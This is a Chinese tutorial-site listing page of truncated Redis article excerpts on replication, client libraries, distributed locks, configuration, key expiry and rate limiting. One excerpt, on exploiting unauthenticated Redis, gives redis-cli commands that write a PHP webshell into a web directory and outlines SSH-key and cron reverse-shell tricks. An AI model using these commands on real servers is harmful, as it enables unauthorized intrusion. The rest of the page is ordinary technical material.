作者文章

fwq

FWQ
服务器教程
调研Redis高可用两种方案
调研Redis高可用两种方案 收藏 对于一个数据库开发者来说,牢固扎实的基础是十分重要的,golang学习网就来带大家一点点的掌握基础知识点。今天本篇文章带大家了解《调研Redis高可用两种方案》,主要介绍了工具、技能、开发者,希望对大家的知识积累有所帮助,快点收藏起来吧,否则需要时就找不到了! 导读:Redis是被广泛使用的基础软件之一。对于工程师和,架构师,运维人员来说,了解Redis的高可用方案和背后的原理,是必备的基础知识。本文作者深入分析了Redis高可用的方方面面,并且做了有效总结,相信对广大读者可以起到很好的领路作用。 作者 codedump codedump.info 博主,多年从事互联网服务器后台开发工作。可访问作者博客阅读 codedump 更多文章。 Redis中为了实现高可用(High Availability,简称HA),采用了如下两个方式: 主从复制数据。 采用哨兵监控数据节点的运行情况,一旦主节点出现问题由从节点顶上继续进行服务。 主从复制 Redis中主从节点复制数据有全量复制和部分复制之分。 旧版本全量复制功能的实现 全量复制使用snyc命令来实现,其流程是: 从服务器向主服务器发送sync命令。 主服务器在收到sync命令之后,调用bgsave命令生成***的rdb文件,将这个文件同步给从服务器,这样从服务器载入这个rdb文件之后,状态就会和主服务器执行bgsave命令时候的一致。 主服务器将保存在命令缓冲区中的写命令同步给从服务器,从服务器执行这些命令,这样从服务器的状态就跟主服务器当前状态一致了。 旧版本全量复制功能,其***的问题是从服务器断线重连时,即便在从服务器上已经有一部分数据了,也需要进行全量复制,这样做的效率很低,于是新版本的Redis在这部分做了改进。 新版本全量复制功能的实现 新版本Redis使用psync命令来代替sync命令,该命令既可以实现完整全同步也可以实现部分同步。 复制偏移量 执行复制的双方,主从服务器,分别会维护一个复制偏移量: 主服务器每次向从服务器同步了N字节数据之后,将修改自己的复制偏移量+N。 从服务器每次从主服务器同步了N字节数据之后,将修改自己的复制偏移量+N。…
2025-05-10 阅读全文 →
FWQ
服务器教程
Redis与C#的交互:如何实现高效的缓存操作
Redis与C#的交互:如何实现高效的缓存操作 在数据库实战开发的过程中,我们经常会遇到一些这样那样的问题,然后要卡好半天,等问题解决了才发现原来一些细节知识点还是没有掌握好。今天golang学习网就整理分享《Redis与C#的交互:如何实现高效的缓存操作》,聊聊,希望可以帮助到正在努力赚钱的你。 Redis与C#的交互:如何实现高效的缓存操作 引言:随着互联网的快速发展,对高效性能的需求也越来越高,缓存作为减轻数据库负载的重要手段之一,被广泛应用于各个领域。Redis作为一款高性能的缓存数据库,因其快速、稳定和可扩展性而备受青睐。本文将介绍如何通过C#与Redis进行交互,以实现高效的缓存操作。 一、Redis的安装与配置 在开始前,我们首先需要安装Redis。可以从Redis官网(https://redis.io/)下载最新版本的Redis,并按照相关文档进行安装和配置。安装完成后,我们需要确保Redis服务器已成功启动,并且可以通过IP地址和端口访问。 二、C#与Redis互操作的基本步骤 1. 引入第三方库 使用C#与Redis进行交互需要使用第三方库。常用的有StackExchange.Redis和ServiceStack.Redis等。本文以StackExchange.Redis为例,可通过NuGet包管理器安装,使用以下命令在Visual Studio中安装: Install-Package StackExchange.Redis 2. 连接Redis服务器 在C#中,我们可以通过以下代码连接到Redis服务器: var redis = ConnectionMultiplexer.Connect("localhost"); var db = redis.GetDatabase(); 3. 缓存操作 连接到Redis服务器后,我们可以执行各种缓存操作,如存储、获取和删除数据等。以下是一些常用的示例代码: -…
2025-05-10 阅读全文 →
FWQ
服务器教程
详解redis分布式锁(优化redis分布式锁的过程及Redisson使用)
详解redis分布式锁(优化redis分布式锁的过程及Redisson使用) 收藏 知识点掌握了,还需要不断练习才能熟练运用。下面golang学习网给大家带来一个数据库开发实战,手把手教大家学习《详解redis分布式锁(优化redis分布式锁的过程及Redisson使用)》,在实现功能的过程中也带大家重新温习相关知识点,温故而知新,回头看看说不定又有不一样的感悟! 1. redis在实际的应用中 不仅可以用来缓存数据,在分布式应用开发中,经常被用来当作分布式锁的使用,为什么要用到分布式锁呢? 在分布式的开发中,以电商库存的更新功能进行讲解,在实际的应用中相同功能的消费者是有多个的,假如多个消费者同一时刻要去消费一条数据,假如业务逻辑处理逻辑是查询出redis中的商品库存,而如果第一个进来的消费的消费者获取到库存了,还没进行减库存操作,相对晚来的消费者就获取了商品的库存,这样就导致数据会出错,导致消费的数据变多了。 例如:消费者A和消费者B分别去消费生产者C1和生产者C2的数据,而生产者都是使用同一个redis的数据库的,如果生产者C1接收到消费者A的消息后,先进行查询库存,然后当要进行减库存的时候,因为生产者C2接收到消费者B的消息后,也去查询库存,而因为生产者C1还没有进行库存的更新,导致生产者C2获取到的库存数是脏数据,而不是生产者C1更新后的数据,导致业务出错。 如果不是分布式的应用,可以使用synchronized进行防止库存更新的问题的产生,但是synchronized只是基于JVM层面的,如果在不同的JVM中,就不能实现这样的功能。 @GetMapping("getInt0") public String test() { synchronized (this) { //获取当前商品的数量 int productNum = Integer.parseInt(stringRedisTemplate.opsForValue().get("product")); //然后对商品进行出库操作,即进行减1 /* * a业务逻辑 * *…
2025-05-10 阅读全文 →
FWQ
服务器教程
Redis 匿名访问利用技巧
Redis 匿名访问利用技巧 收藏 对于一个数据库开发者来说,牢固扎实的基础是十分重要的,golang学习网就来带大家一点点的掌握基础知识点。今天本篇文章带大家了解《Redis 匿名访问利用技巧》,主要介绍了Redis、匿名、技巧,希望对大家的知识积累有所帮助,快点收藏起来吧,否则需要时就找不到了! Redis 数据库在内网渗透中比较常见,结合近期的利用过程,记录下: 在内网机器中下载Redis 解压 make一下,不用make install A) 一般情况下知道路径写shell ./redis-cli -h IP   config set dir /home/wwwroot/default/   config set dbfilename redis.php  set webshell " phpinfo(); ?>"   save  B) 利用公匙免密码登录1 本机生成公匙2 利用redis将公匙备份到redis机器上C) 利用linux的任务反弹shell 1 /var/spool/cron linux机器下默认的计划任务,开启cron的时候,linux会定时去执行里面的任务,文件名为用户名2 redis 设置dbfilename…
2025-05-10 阅读全文 →
FWQ
服务器教程
谈谈陌陌争霸在数据库方面踩过的坑(Redis篇)
谈谈陌陌争霸在数据库方面踩过的坑(Redis篇) 收藏 本篇文章向大家介绍《谈谈陌陌争霸在数据库方面踩过的坑(Redis篇)》,主要包括数据库、手游开发,具有一定的参考价值,需要的朋友可以参考一下。 注:陌陌争霸的数据库部分我没有参与具体设计,只是参与了一些讨论和提出一些意见。 在出现问题的时候,也都是由肥龙、晓靖、Aply 同学判断研究解决的。所以我对 Redis 的判断大多也从他们的讨论中听来,加上自己的一些猜测,并没有去仔细阅读 Redis 文档和阅读 Redis 代码。 虽然我们最终都解决了问题,但本文中说描述的技术细节还是很有可能与事实相悖,请阅读的同学自行甄别。 在陌陌争霸之前,我们并没有大规模使用过 Redis 。只是直觉上感觉 Redis 很适合我们的架构:我们这个游戏不依赖数据库帮我们处理任何数据,总的数据量虽然较大,但增长速度有限。由于单台服务机处理能力有限,而游戏又不能分服, 玩家在任何时间地点登陆,都只会看到一个世界。 所以我们需要有一个数据中心独立于游戏系统。而这个数据中心只负责数据中转和数据落地就可以了。Redis 看起来就是最佳选择,游戏系统对它只有按玩家 ID 索引出玩家的数据这一个需求。 我们将数据中心分为 32 个库,按玩家 ID 分开。不同的玩家之间数据是完全独立的。在设计时,我坚决反对了从一个单点访问数据中心的做法,坚持每个游戏服务器节点都要多每个数据仓库直接连接。因为在这里制造一个单点毫无必要。…
2025-05-10 阅读全文 →
FWQ
服务器教程
Redis与Node.js的集成方案:如何实现高可扩展性与高并发
Redis与Node.js的集成方案:如何实现高可扩展性与高并发 珍惜时间,勤奋学习!今天给大家带来《Redis与Node.js的集成方案:如何实现高可扩展性与高并发》,正文内容主要涉及到等等,如果你正在学习数据库,或者是对数据库有疑问,欢迎大家关注我!后面我会持续更新相关内容的,希望都能帮到正在学习的大家! Redis与Node.js的集成方案:如何实现高可扩展性与高并发 随着互联网的迅猛发展,Web应用的高并发和高可扩展性已经成为了开发者们面临的挑战之一。为了解决这个问题,Redis数据库作为一种高性能的NoSQL数据库,与Node.js服务器的集成成为了一个非常受欢迎的方案。在本文中,我将介绍如何使用Redis和Node.js实现高可扩展性和高并发,并提供代码示例作为参考。 安装Redis和Node.js 首先,我们需要安装Redis和Node.js。你可以从Redis的官方网站(https://redis.io/download)下载并安装Redis,同时,从Node.js的官方网站(https://nodejs.org)下载并安装最新版本的Node.js。 安装完成后,我们就可以开始使用Redis和Node.js进行集成了。 连接Redis数据库 在Node.js中,我们可以使用第三方模块redis来连接和操作Redis数据库。首先,我们需要安装这个模块,可以使用以下命令进行安装: npm install redis 安装完成后,我们可以在Node.js的代码中引入这个模块,然后使用以下代码连接Redis数据库: const redis = require('redis'); const client = redis.createClient({ host: 'localhost', port: 6379 }); client.on('connect', ()…
2025-05-10 阅读全文 →
FWQ
服务器教程
redis中的配置以及密码设置方式
redis中的配置以及密码设置方式 收藏 本篇文章给大家分享《redis中的配置以及密码设置方式》,覆盖了数据库的常见基础知识,其实一个语言的全部知识点一篇文章是不可能说完的,但希望通过这些问题,让读者对自己的掌握程度有一定的认识(B 数),从而弥补自己的不足,更好的掌握它。 今天就给大家简单讲解一下自己在配置redis过程中所学习的,方便大家以后快速的上手。 注意:如果想快速配置则不需要看参数介绍,直接看总结!!! 参数介绍 redis中主要有三个参数来进行安全控制的,也是我们最常用的三个。 bind ①这个参数默认值是127.0.0.1,也就是只允许redis所在机器访问redis。 ②如果我们的应用服务和redis服务不在一个机器我们就需要修改这个参数为0.0.0.0,这表示允许所有人都可以访问这个redis protected-mode ①这个参数的默认值是yes,也就是默认开启保护模式,当开启了此模式,限制为本地访问。 ②如果设置为no,就关闭了保护模式,允许所有外部的网络直接访问redis服务。 requirepass ①这个参数是用来设置redis密码的,默认情况下时被注释掉的,即没有密码。 ②如果需要设置密码那就取消注释,注意删除#和requirepass之间的空格。 总结 上线部署 一般情况上线部署的时候我们配置如下 #本机ip或者改成应用服务所在的ip bind 127.0.0.1 #保护模式保持默认开启即可 protected-mode yes #redis密码设置 requirepass…
2025-05-10 阅读全文 →
FWQ
服务器教程
Redis实现订单自动过期功能的示例代码
Redis实现订单自动过期功能的示例代码 收藏 知识点掌握了,还需要不断练习才能熟练运用。下面golang学习网给大家带来一个数据库开发实战,手把手教大家学习《Redis实现订单自动过期功能的示例代码》,在实现功能的过程中也带大家重新温习相关知识点,温故而知新,回头看看说不定又有不一样的感悟! 前言 用户下单后,规定XX分钟后自动设置为“已过期”,不能再发起支付。项目类似此类”过期”的需求,笔者提供一种使用Redis的解决思路,结合Redis的订阅、发布和键空间通知机制(Keyspace Notifications)进行实现。 配置redis.confg notify-keyspace-events选项默认是不启用,改为notify-keyspace-events “Ex”。重启生效,索引位i的库,每当有过期的元素被删除时,向**频道发送通知。 E表示键事件通知,所有通知以为前缀; x表示过期事件,每当有过期被删除时发送。 与SpringBoot进行集成 ①注册JedisConnectionFactory import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.data.redis.connection.RedisPassword; import org.springframework.data.redis.connection.RedisStandaloneConfiguration; import org.springframework.data.redis.connection.jedis.JedisConnectionFactory; import redis.clients.jedis.JedisPool; import…
2025-05-10 阅读全文 →
FWQ
服务器教程
利用Python和Redis实现缓存预热:如何提高程序的初始化速度
利用Python和Redis实现缓存预热:如何提高程序的初始化速度 在数据库实战开发的过程中,我们经常会遇到一些这样那样的问题,然后要卡好半天,等问题解决了才发现原来一些细节知识点还是没有掌握好。今天golang学习网就整理分享《利用Python和Redis实现缓存预热:如何提高程序的初始化速度》,聊聊,希望可以帮助到正在努力赚钱的你。 利用Python和Redis实现缓存预热:如何提高程序的初始化速度 引言:在大多数的应用程序中,初始化阶段往往需要加载大量的数据或资源,这些操作可能会消耗较长的时间,影响程序的启动速度。为了解决这个问题,我们可以利用缓存预热技术,将需要初始化的数据存储在缓存中,以提高程序的初始化速度。本文将介绍如何使用Python和Redis实现缓存预热。 一、什么是缓存预热?缓存预热是指在应用程序启动阶段,将需要初始化的数据提前加载到缓存中,以减少程序启动时的数据加载时间和资源消耗。通过预先加载数据到缓存中,可以显著提高程序的初始化速度,并提升用户的体验。 二、为什么使用Redis?Redis是一个高性能的内存数据库,具有快速读取和写入的特点。在实现缓存预热时,使用Redis作为缓存高速存储可以大大提高数据的读取速度,极大地减少初始化时间。 三、Python实现缓存预热的步骤: 首先,我们需要创建一个Python脚本,引入Redis模块并连接到Redis数据库。可以使用以下代码来进行连接: import redis # 连接到Redis数据库 r = redis.Redis(host='localhost', port=6379, db=0) 接下来,我们需要编写初始化数据的函数。这个函数可以从数据库或其他来源获取需要初始化的数据,并将数据存储到Redis缓存中。下面是一个示例代码: def initialize_data(): # 从数据库获取需要初始化的数据 data = get_data_from_database() # 将数据存储到Redis缓存中 for…
2025-05-10 阅读全文 →
FWQ
服务器教程
基于Redis zSet实现滑动窗口对短信进行防刷限流的问题
基于Redis zSet实现滑动窗口对短信进行防刷限流的问题 收藏 本篇文章向大家介绍《基于Redis zSet实现滑动窗口对短信进行防刷限流的问题》,主要包括限流、窗口、rediszset、滑动,具有一定的参考价值,需要的朋友可以参考一下。 public void checkCurrentWindowValue(String telNum) { String windowKey = CommonConstant.getNnSmsWindowKey(telNum); //获取当前时间戳 long currentTime = System.currentTimeMillis(); //1小时,默认只能发5次,参数smsWindowMax做成可配置项,配置到Nacos配置中心,可以动态调整 if (RedisUtil.hasKey(windowKey)) { //参数smsWindowTime表示限制的窗口时间 //这里获取当前时间与限制窗口时间之间的短信发送次数 Optional optional = Optional.ofNullable(RedisUtil.zCount(windowKey, currentTime…
2025-05-10 阅读全文 →